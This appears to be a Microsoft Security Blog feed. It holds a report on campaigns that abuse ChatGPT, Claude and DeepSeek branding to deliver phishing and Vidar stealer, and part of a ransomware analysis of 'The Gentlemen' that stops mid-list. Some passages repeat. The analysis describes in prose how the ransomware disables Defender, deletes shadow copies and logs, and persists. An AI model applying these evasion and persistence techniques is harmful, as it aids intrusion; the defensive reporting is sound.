5. Payload execution: The archives contained a heavyweight Win32 PE that masqueraded as the DeepSeek installer. At least one confirmed victim endpoint revealed the extracted payload landed at: C:\Users\<user>\Downloads\Programs\IA DeepSeek-V4\deepseek-v4-flash_x64.exe.
6. Active payload rotation: The threat actor actively rotated archive content while preserving file names and the release page. We observed at least three distinct archive hash generations in three days.

Microsoft Defender telemetry observed the first victim download approximately four hours later. The threat actor’s operational tempo on April 24, 2026, is consistent with a prepared, rehearsed workflow. The repository was designed to be convincing at a glance. It accumulated 91 stars and 27 forks within four days, though the proportion of organic versus inflated engagement is not independently confirmed. The attacker invested in several credibility-building elements:

• Stolen branding: The repository’s README and assets folder embedded the legitimate DeepSeek whale logo, copied from the real deepseek-ai/DeepSeek-V2 repository.
• Real benchmark data as lure: The release notes displayed authentic DeepSeek V4 benchmark scores against Claude Opus 4.6, GPT-5.4, and Gemini 3.1 Pro, copied from the official release announcement.
• Action-oriented SEO topics: The repository was tagged with deepseek-v4, deepseek-v4-download, deepseek-v4-downloader, deepseek-v4-install, and deepseek-v4-installer, which are queries users are expected to use when intent-shopping for an installer.
• LLM-aware discoverability: A top-level llms.txt file repeated the same SEO copy in a format aimed at AI-assisted search engines.

On closer inspection, the staging gives the operation away: the repository contained only a README, LICENSE, llms.txt, and stub assets/ and inference/ directories with no real model code; all nine commits were made in a single burst on April 24, 2026 by a single author; the README claimed an MIT license while repository metadata specified Apache 2.0.

Once the lure was live, search engines increased the exposure of the malicious repository. We tested the queries an interested user would naturally try when looking for DeepSeek V4 on GitHub or the open web. In a snapshot captured on April 28, 2026, the results were as follows (search results are volatile and may differ at the time of reading):

The 7z archives hosted on GitHub contained a loader executable such as SHA-256: 5455341ed1bbe75a664fca2dd0794c508e1874f75360253a7ff5bc119bc92d80. The loader was observed downloading and installing Vidar stealer and potentially additional malware.

Lastly, Microsoft observed that the DeepSeek-themed payloads share infrastructure with a much larger rotating fake-AI / fake-tool ecosystem. The same shared loader hash (SHA-256 5455341…) appeared under file names impersonating GPT-5.5, Claude Code, Kimi, Seedance, Gemma, GrokCLI, Manus AI, FraudGPT, and others (see table below). Public research from Trend Micro, Zscaler ThreatLabz, and Huntress describe the same broader ecosystem, with TradeAI.exe, OpenClaw_x64.7z, WormGPT_x64.7z, and DeepSeekAI_agent_x64.7z appearing as sibling lures and the downstream payload set documented as Vidar plus GhostSocks.

Mitigation and protection guidance

To defend against social engineering campaigns that leverage AI brands as lures, Microsoft recommends the following mitigation measures:

• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices in all locations at all times.
• Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
• Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Configure Microsoft Defender for Office 365 Safe Links to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow and time-of-click verification of URLs and links in email messages, other Microsoft Office applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers like Microsoft Edge that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

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The post AI brands as bait: How threat actors are using the AI hype in social engineering appeared first on Microsoft Security Blog.

As threat actors operationalize AI to accelerate attacks, they are also leveraging the wider global interest around AI itself as a social engineering lure. In recent months, Microsoft Threat Intelligence has observed a growing number of campaigns that impersonate the branding of popular AI platforms such as ChatGPT, Microsoft Copilot, DeepSeek, and Anthropic’s Claude as lures. These campaigns, which don’t represent compromise of services, span phishing, malvertising, and search engine optimization (SEO)-driven attacks that ultimately lead to credential theft, financial fraud, or malware infection.

Threat actors are quick to capitalize on highly anticipated launches or emerging trends, leveraging trusted branding and exploiting user curiosity to improve the success rates of their campaigns. Despite the AI-themed lures, however, these campaigns combine longstanding tactics, such as urgency-driven messaging, abuse of trusted services, and multi-stage redirection chains that require user interaction to evade detection.

While traditional lures like invoices, payment notifications, or delivery alerts remain effective and continue to be widely used, AI-themed lures reflect a shift in social engineering that is likely to persist as a long-term tactic used by threat actors, from cybercriminal groups to nation states. Notably, Microsoft Threat Intelligence has observed the initial access broker Storm-3075 employing AI-themed malvertising to deliver payloads, including malware signed by the malware-signing-as-a-service (MSaaS) offering attributed to the financially motivated threat actor Fox Tempest, on behalf of multiple downstream actors.

This blog details several of the campaigns observed by Microsoft Threat Intelligence in the past few months that used AI brands and references as lures, and provides guidance to help users and organizations detect, mitigate, and respond to these threats. Importantly, Microsoft believes that the activity noted in this blog is purely abuse of AI brand names as lures, not reflecting a compromise of any referenced vendor. As threat actors scale their operations with AI, organizations should leverage AI-powered security capabilities to enhance visibility, automate detection, and accelerate response across email, identity, and endpoint surfaces.

ChatGPT-themed lure leads to phishing kit collecting credit card data

On May 5, 2026, Microsoft detected a ChatGPT-themed phishing attack that delivered malicious URLs leading to phishing pages that collected credit card and personal information such as names and addresses. This phishing activity, which consisted of 4,500 emails sent to targets in South Africa (97%), was part of a broader campaign using similar themes and infrastructure. We also observed this campaign delivering as much as 100,000 emails on a single day to targets in Switzerland, Austria, and South Africa affecting a broad range of industries, including higher education and professional services.

The emails used the sender display name ChatGPT and the subject “To ensure your ChatGPT Plus continues to work – please update your payment method”. The emails posed as an urgent request to update the ChatGPT Plus subscription payment method. They warned the recipient that if a new payment method was not provided within seven days, the account would be downgraded to a free plan. A ChatGPT logo was prominently displayed at the top of the email body.

The phishing email contained a clickable Update payment method button, which did not directly send users to the attacker-controlled site. Instead, users were redirected through a series of legitimate and abused redirector hops. This is a common technique used by threat actors to exploit the reputation of trusted domains and bypass email filters, evade detection, and track victim engagement.

Targets were first directed to grupoconstat[.]bitrix24[.]com[.]br (a legitimate customer relationship management (CRM) service), which redirected to awstrack[.]me (an Amazon domain used for tracking email opens and clicks), which in turn redirected to a Rebrandly URL (a legitimate but often abused URL shortener service). Targets were finally sent to a likely legitimate but compromised domain legendarytrendsbay[.]shop where the threat actor had placed the phishing page in the /ChatGPT/ folder.

The landing page did not immediately display the phishing content. It first required visitors to pass a custom CAPTCHA, which was a simple Update payment button. If they clicked this button, users were sent to the next page where personal information, including first name, last name, and address was collected. The final page then collected the name, credit card number, expiration date, and card verification code.

Claude-themed phishing campaign collected credentials and access tokens

From April 20 to 22, 2026, Microsoft observed a phishing campaign impersonating Anthropic-branded services to target users with account-related lures tied to the Claude AI platform. The campaign sent phishing emails to targets across more than 2,000 organizations, primarily in the United States (62%), the United Kingdom (18%), and India (9%). While this campaign impacted a broad range of industries, it was most notably focused on information technology (56%), other business entities (21%), and financial services (8%).

The campaign used enforcement-themed messaging claiming that the recipient’s account was in violation of acceptable use policies and required immediate action. The emails impersonated Anthropic’s popular AI service Claude using the display names Anthropic Teams and Anthropic PBC, masquerading as legitimate account-related communications. Subject lines followed a consistent structure of “Claude Appeal Request” combined with date elements.

The email body was delivered as HTML and included Anthropic and Claude branding. The message informed recipients that their account was violating “AUP (Account Usage Policy)” and that Anthropic had “initiated an appeal procedure”. The message instructed recipients to review the attached material to access their appeal and indicated that Claude features would be limited pending review.

The email attachment was a PDF named Fill and Sign Claude Appeal Form.pdf, which was designed to resemble an official process tied to Claude account enforcement. The document presented an appeal workflow, prompting users to copy an appeal ID and click the “Claude Appeal” link, which initiated the credential harvesting process.

When clicked, the link embedded in the PDF directed users to an attacker-controlled domain, dash.awaydouble[.]org. The initial landing page displayed a Cloudflare verification prompt, presented as confirming the user was arriving from a “legitimate session”. This step likely served as a gating mechanism to impede automated analysis and sandbox detonation.

Users who completed the verification were redirected to another Claude-themed landing page hosted on servicing.pureplantcravings[.]com. This page was named “Account Appeal Notice” and contained “Account Security & Compliance” message informing users that their account had been flagged for repeated violations of usage policies. The page provided a reference date and a one-time access code, prompting users to copy the code and continue.

Clicking “Continue” redirected users to the final page, which was not available at the time of analysis. Source code revealed conditional redirect logic that routed users to one of two final landing pages, depending on whether the site was accessed through mobile device or a desktop system.

While the final redirect destination was no longer active at the time of analysis, infrastructure overlap, including shared intermediate domains and consistent redirect logic, strongly suggested that users were ultimately presented with a Microsoft sign-in experience. This final stage is consistent with adversary-in-the-middle (AiTM) tactics designed to intercept authentication tokens and facilitate account compromise.

“Awesome AI Windows Plugin” malvertising deploys Vidar stealer

Since at least early 2026, Microsoft Threat Intelligence has observed malvertising campaigns that use AI-themed terms such as “Awesome AI Windows Plugin” and “Flux Pro AI” in social engineering lures in malicious popups, in malware executable names, and GitHub repository and folder names throughout the attack chain. These campaigns are notable for their scale and velocity, moving from launch to mass impact within hours and infecting tens to hundreds of thousands of endpoints. The malware delivered in these campaigns is frequently code-signed, lending an additional layer of perceived trust to both the operating system and the user.

Microsoft attributes this malvertising activity to an initial access broker and malware distributor tracked as Storm-3075. We assess that Storm-3075 delivers final payloads on behalf of multiple downstream actors. While the example campaign described in this section delivered Vidar Stealer, we have also observed this campaign distributing Lumma Stealer, Hijack Loader, and Oyster.

On March 13, 2026, a single campaign run targeted over 66,000 devices. Microsoft has revoked the related signing certificate and GitHub has taken down the associated repository, helping to prevent tens of thousands of additional infections. Given the nature of the attack source, majority of impacted devices were likely consumer rather than enterprise endpoints. Telemetry showed global distribution, with the top affected countries being Japan, South Africa, the United States, and France.

Analysis of the redirection chain determined that the attack likely originated from free movie streaming sites. Infections on such sites typically begin when users interact with embedded movie players or click popups. Malvertising embedded in such sites can redirect users to a range of unwanted content, including malware. In this campaign, users were redirected to a page advertising a download for an “Awesome AI Windows plugin”, a fictitious product name. The plugin purported to help users watch free, high-quality videos, a lure aligned with the context of users already streaming free or pirated content.

Clicking the download button retrieved an executable named ProFluxeFlowAi-win-Setup.exe, which the user then had to manually launch. The file name mimicked a legitimate product with a similar name, Flux Pro AI, which supports text, image, and video creation. This lure reinforced the perceived legitimacy of the executable within the streaming of free movies context. The executable itself was hosted on GitHub in a repository named shippingtechnologymovie under a folder named AI-techVideos, both tailored to the AI video helper narrative.

The malware executable was signed with a fraudulently obtained Microsoft-issued code-signing certificate obtained through Artifact Signing (certificate thumbprint: 4f5c5b3ef45cfff7721754487a86aeff9a2e6e32). Microsoft attributes the signing service used by the threat actor to Fox Tempest, a financially motivated threat actor operating a malware-signing-as-a-service (MSaaS) offering used by other threat actors. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), in partnership with Resecurity, facilitated a disruption of Fox Tempest infrastructure and access model.   

Signing malware through such a service is expensive; however, for a threat actor targeting tens or hundreds of thousands of infections, the cost can be justified by the additional level of trust signed binaries imply to both the operating system and the user. Signed malware also tends to exhibit lower detection rates early in the infection lifecycle, extending the window of effective distribution.

Another notable feature of the malware is that, immediately after launch, it displays a window with a “Continue” checkmark and does not proceed until the box is clicked. This extra user interaction step is uncommon. We assess that this technique is intended to hide the malicious functionality from sandboxes and automated analysis environments that cannot dynamically perform the click. Until the user clicks “Continue,” the malware performs no suspicious activity on the operating system. This technique is functionally analogous to the CAPTCHAs frequently seen in phishing attacks.

Once the user clicks “Continue”, the executable drops and runs a malicious Python-based downloader. Both the Python interpreter and the downloader script are saved in the \AppData\Local\ folder as pythonw.exe and LICENSE.txt, respectively. The malicious script runs shellcode that loads the next-stage malware from the command-and-control (C2) domain brokeapt[.]com. The final payload observed in this campaign was Vidar infostealer.

Fake DeepSeek V4 installers on GitHub delivered Vidar Stealer

In April 2026, Microsoft identified a social engineering campaignsocial-engineering campaign that leveraged interest in the newly released DeepSeek V4 by impersonating it through a fraudulent GitHub repository and organization. The campaign abused GitHub’s release-asset infrastructure to deliver information-stealing malware such as Vidar stealer. Search engines increased the exposure of the malicious repository, exacerbated by the fact that DeepSeek did not publish an official V4 repository on GitHub.

Our investigation shows the DeepSeek lure is one identity in a broader rotating brand-abuse ecosystem that recycles whichever AI tool is trending into a fresh malware download experience. After discovering this activity, Microsoft shared the details with GitHub, and GitHub has since taken down the malicious organization, repository, and operator account.

On April 24, 2026, within hours of DeepSeek officially previewing its new V4 frontier model, a threat actor initiated the attack chain that can be summarized as:

1. Resource development on GitHub, all within roughly 45 minutes: A new GitHub organization (DeepSeek-V4), a single repository (deepseek-V4), and a release tag (deepseek-V4). The repository was decorated with stolen DeepSeek branding, real benchmark data, and SEO-optimized topics.
2. Search-driven discovery: Users found the repository through GitHub repository search, search engines, social sharing, and AI-assisted search results pointing to the lure page. The repository’s llms.txt and topic taxonomy were designed to be discovered by both classical search engines and large-language-model-powered search; observed top-rank results on search engines are consistent with that design, though we did not observe paid advertising and therefore do not assess this as malvertising.
3. Archive download from GitHub’s release-asset CDN: The release page hosted two archives, deepseek-v4-pro_x64.7z and deepseek-v4-flash_x64.7z.
4. User extraction: Users needed to extract the executable from the archive using common Windows archive tools.
5. Payload execution: The archives contained a heavyweight Win32 PE that masqueraded as the DeepSeek installer. At least one confirmed victim endpoint revealed the extracted payload landed at: C:\Users\<user>\Downloads\Programs\IA DeepSeek-V4\deepseek-v4-flash_x64.exe.
6. Active payload rotation: The threat actor actively rotated archive content while preserving file names and the release page. We observed at least three distinct archive hash generations in three days.

Microsoft Defender telemetry observed the first victim download approximately four hours later. The threat actor’s operational tempo on April 24, 2026, is consistent with a prepared, rehearsed workflow. The repository was designed to be convincing at a glance. It accumulated 91 stars and 27 forks within four days, though the proportion of organic versus inflated engagement is not independently confirmed. The attacker invested in several credibility-building elements:

• Stolen branding: The repository’s README and assets folder embedded the legitimate DeepSeek whale logo, copied from the real deepseek-ai/DeepSeek-V2 repository.
• Real benchmark data as lure: The release notes displayed authentic DeepSeek V4 benchmark scores against Claude Opus 4.6, GPT-5.4, and Gemini 3.1 Pro, copied from the official release announcement.
• Action-oriented SEO topics: The repository was tagged with deepseek-v4, deepseek-v4-download, deepseek-v4-downloader, deepseek-v4-install, and deepseek-v4-installer, which are queries users are expected to use when intent-shopping for an installer.
• LLM-aware discoverability: A top-level llms.txt file repeated the same SEO copy in a format aimed at AI-assisted search engines.

On closer inspection, the staging gives the operation away: the repository contained only a README, LICENSE, llms.txt, and stub assets/ and inference/ directories with no real model code; all nine commits were made in a single burst on April 24, 2026 by a single author; the README claimed an MIT license while repository metadata specified Apache 2.0.

Once the lure was live, search engines increased the exposure of the malicious repository. We tested the queries an interested user would naturally try when looking for DeepSeek V4 on GitHub or the open web. In a snapshot captured on April 28, 2026, the results were as follows (search results are volatile and may differ at the time of reading):

The 7z archives hosted on GitHub contained a loader executable such as SHA-256: 5455341ed1bbe75a664fca2dd0794c508e1874f75360253a7ff5bc119bc92d80. The loader was observed downloading and installing Vidar stealer and potentially additional malware.

Lastly, Microsoft observed that the DeepSeek-themed payloads share infrastructure with a much larger rotating fake-AI / fake-tool ecosystem. The same shared loader hash (SHA-256 5455341…) appeared under file names impersonating GPT-5.5, Claude Code, Kimi, Seedance, Gemma, GrokCLI, Manus AI, FraudGPT, and others (see table below). Public research from Trend Micro, Zscaler ThreatLabz, and Huntress describe the same broader ecosystem, with TradeAI.exe, OpenClaw_x64.7z, WormGPT_x64.7z, and DeepSeekAI_agent_x64.7z appearing as sibling lures and the downstream payload set documented as Vidar plus GhostSocks.

Mitigation and protection guidance

To defend against social engineering campaigns that leverage AI brands as lures, Microsoft recommends the following mitigation measures:

• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices in all locations at all times.
• Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
• Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Configure Microsoft Defender for Office 365 Safe Links to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow and time-of-click verification of URLs and links in email messages, other Microsoft Office applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers like Microsoft Edge that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post AI brands as bait: How threat actors are using the AI hype in social engineering appeared first on Microsoft Security Blog.

Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination

Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

File encryption

File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
